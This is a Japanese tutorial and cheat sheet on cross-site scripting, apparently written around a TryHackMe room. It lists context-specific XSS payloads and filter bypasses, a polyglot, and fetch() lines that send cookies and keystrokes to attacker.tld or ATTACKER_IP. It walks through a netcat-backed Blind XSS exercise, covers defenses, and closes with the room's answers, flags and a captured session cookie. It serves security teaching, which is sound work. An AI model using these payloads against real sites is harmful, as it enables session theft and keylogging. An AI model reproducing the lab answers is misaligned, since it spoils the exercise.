はじめに
XSS(Cross-site Scripting)は、ユーザー入力に混入した悪意のあるJavaScriptが、他ユーザーのブラウザで実行されてしまう脆弱性です。検出頻度も影響範囲も大きく、バグバウンティでも常連のカテゴリ。この記事では、XSSのタイプ別の見分け方と、コンテキストに適合したペイロード設計、簡易検証手順、そして防御策までを総まとめします。
前提知識
- JavaScriptの超基礎(
<script>…</script>・alert()・DOMの概念) - HTTPの基本(リクエスト/レスポンス、クエリ文字列、ヘッダ等)
1. XSSとは何か(定義と狙い)
XSSは“注入(Injection)”の一種で、他人のブラウザで自分のJSを実行させる攻撃です。目的(意図)により典型シナリオが分かれます。
代表的な目的(Intention)
-
PoC(成立証明)
<script>alert('XSS');</script> -
セッション強奪(Cookie送出)
<script>fetch('https://attacker.tld/steal?c='+btoa(document.cookie));</script> -
キー入力の窃取
<script>document.onkeypress=e=>fetch('https://attacker.tld/log?k='+btoa(e.key))</script> -
ビジネスロジック悪用(アプリ内JSの直接呼出し)
<script>user.changeEmail('attacker@tld');</script>
重要:ペイロードは常に“どこに反映されるか(コンテキスト)”で変わる。同じ
<script>でも、タグ内・属性値内・JS文字列内・コメント内などで“必要な抜け方”が違います。
2. XSSの4タイプとテスト要点
2.1 Reflected XSS(反射型)
- 定義:リクエスト由来のデータが検証なしで直ちにレスポンスに反映され実行される
- 狙いどころ:URLのパラメータ/パス/(まれに)ヘッダ
- インパクト:悪性URLを踏ませるだけで実行
- 簡易テスト:反映位置を見つけ、そのコンテキストに合わせた“抜け” を入れる
2.2 Stored XSS(格納型)
- 定義:悪性入力がDB等に保管され、閲覧者のブラウザで後日実行される
- 狙いどころ:コメント欄、プロフィール、一覧・検索結果など保存→再表示される箇所
- 落とし穴:クライアント側の入力制限だけを信用せず、手動でPOSTして型外値やタグ混入を試す
2.3 DOM-based XSS
-
定義:フロントJSのみで発火(サーバ往復なし)。
window.location.*等のソース→innerHTMLやeval()等のシンクへ -
見つけ方:ソース(例:
location.hash/search等)と、危険シンク(innerHTML/document.write/eval())のデータフローを読む -
要チェック:
eval()やFunction()などの動的実行は特に危険
2.4 Blind XSS
- 定義:格納型に似るが、攻撃者自身はブラウザで発火を確認できない。社内管理画面などで発火
-
必要要素:コールバック(HTTP外部送信)。例:XSS Hunter Express、あるいは自前
fetch()で受信サーバへ送る
3. コンテキスト別ペイロード設計(「抜け方」チートシート)
| 反映コンテキスト | 典型的抜け方 | 例 |
|---|---|---|
| HTML本文(タグ外) | そのまま<script>
|
<script>alert(1)</script> |
HTML属性値(value="..."等) |
"><script>...で属性閉じ+タグ閉じ
|
"><script>alert(1)</script> |
<textarea>…内 |
</textarea><script>... |
</textarea><script>alert(1)</script> |
JS文字列内(var x='…';) |
' ; … //でクォート閉じ+文終端+コメント
|
';alert(1);// |
| タグ名フィルタあり | 分割やダミー挿入でバイパス |
<sscriptcript>alert(1)</sscriptcript> → フィルタ後<script>
|
文字< >が除去 |
イベント属性でタグ内発火 | ...jpg" onload="alert(1) |
| 何でも通す万能系 | ポリグロット | (下記参照) |
ポリグロット例(学習用)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
4. フィルタ回避の基本テク
-
キーワード除去:
script除去 →<sSCRIPTscript>のように重ねて挿入して除去後に正規化させる - エンコード:URLエンコード、HTMLエンティティ、Base64など多段エンコードでWAFをすり抜け
-
イベント属性:
onload/onerror/onclick…タグを閉じられなくても発火できる -
大小文字混在:
ScRiPt、svGなど大文字混在や名前空間トリック
ただし、実環境での無闇な実行は禁止。検証は承認された検査環境・権限でのみ行いましょう。
5. Blind XSSの実践(TryHackMe演習の流れ)
-
攻撃用リスナーを立てる(例:ポート9001)
nc -nlvp 9001 -
格納→内部ビューが起きる地点に、コールバック付きペイロードを投下
</textarea><script> fetch('http://ATTACKER_IP:9001?cookie='+btoa(document.cookie)) </script> -
受信ログにCookie等が届く(Base64をデコード)
- 例:
staff-session=4AB305E55955197693F01D6F8FD2D321
- 例:
受信できない時はVPNやFW設定を疑う。TryHackMeのAttackBox+公開ポートを使うと楽。
6. 検出チェックリスト(どこを見る?)
- 画面反映系:
- URL パラメータ(クエリ・パス)
- 保存→再表示(コメント、プロフィール、リスト)
-
DOM操作:
innerHTML/document.write/insertAdjacentHTML等
- JS危険API:
eval/Function/setTimeout(String)/setInterval(String) - 反映箇所のコンテキスト(本文/属性/JS文字列/コメント内)を特定し、適合する抜け方を選ぶ
7. 実装側の防御
-
出力時エスケープ(コンテキスト別):
- HTML本文 →
& < > " 'のエスケープ - HTML属性 → 追加で
"/'厳格エスケープ - JS文字列 → 文字列用エスケープ(
\'\"\n…)
- HTML本文 →
- テンプレートエンジンのサニタイザを正しく使う(自前組み込みは危険)
-
CSP(Content Security Policy):
script-src 'self'、nonce/hash運用でインライン抑止 -
Cookieの保護:
HttpOnly(JSから読めない)+Secure+SameSite -
DOM操作の最小化:
innerHTMLではなく安全API(textContent) を使う - ライブラリ:DOMPurify等の実績あるサニタイザを適切に設定
- Trusted Types(対応ブラウザ):シンクに渡せる型を制限
8. 便利スニペット集(学習用)
Reflected(属性値内)
"><script>alert('THM')</script>
Stored(textarea内)
</textarea><script>alert('THM')</script>
JS文字列内
';alert('THM');//
タグ閉じ不可・イベントで発火
...jpg" onload="alert('THM')"
Cookie送出(btoaで可搬性↑)
<script>fetch('http://x.x.x.x:9001?c='+btoa(document.cookie))</script>
※ すべて許可された検証環境のみで使用すること。
9. TryHackMe演習:QAまとめ(答え)
-
What does XSS stand for?
Cross-site Scripting -
Which document property could contain the user's session token?
document.cookie -
Which JavaScript method is often used as a Proof Of Concept?
alert -
Where in an URL is a good place to test for reflected XSS?
Parameters -
How are stored XSS payloads usually stored on a website?
database -
What unsafe JavaScript method is good to look for in source code?
eval() -
What tool can you use to test for Blind XSS?
XSS Hunter Express -
What type of XSS is very similar to Blind XSS?
Stored XSS -
Perfecting payloads Level 6 Flag
THM{XSS_MASTER} -
Blind XSS(実践)— staff-session cookie
4AB305E55955197693F01D6F8FD2D321
おわりに
XSSは 「どこに、どう反映されるか」=コンテキスト理解 が勝負です。
まずは反映位置の特定 → コンテキストに合う抜け方の選択 → フィルタ回避の工夫、の順で安定して再現できます。防御側は出力エスケープ+CSP+HttpOnlyを基本に、DOMの扱いを安全APIへ寄せていきましょう。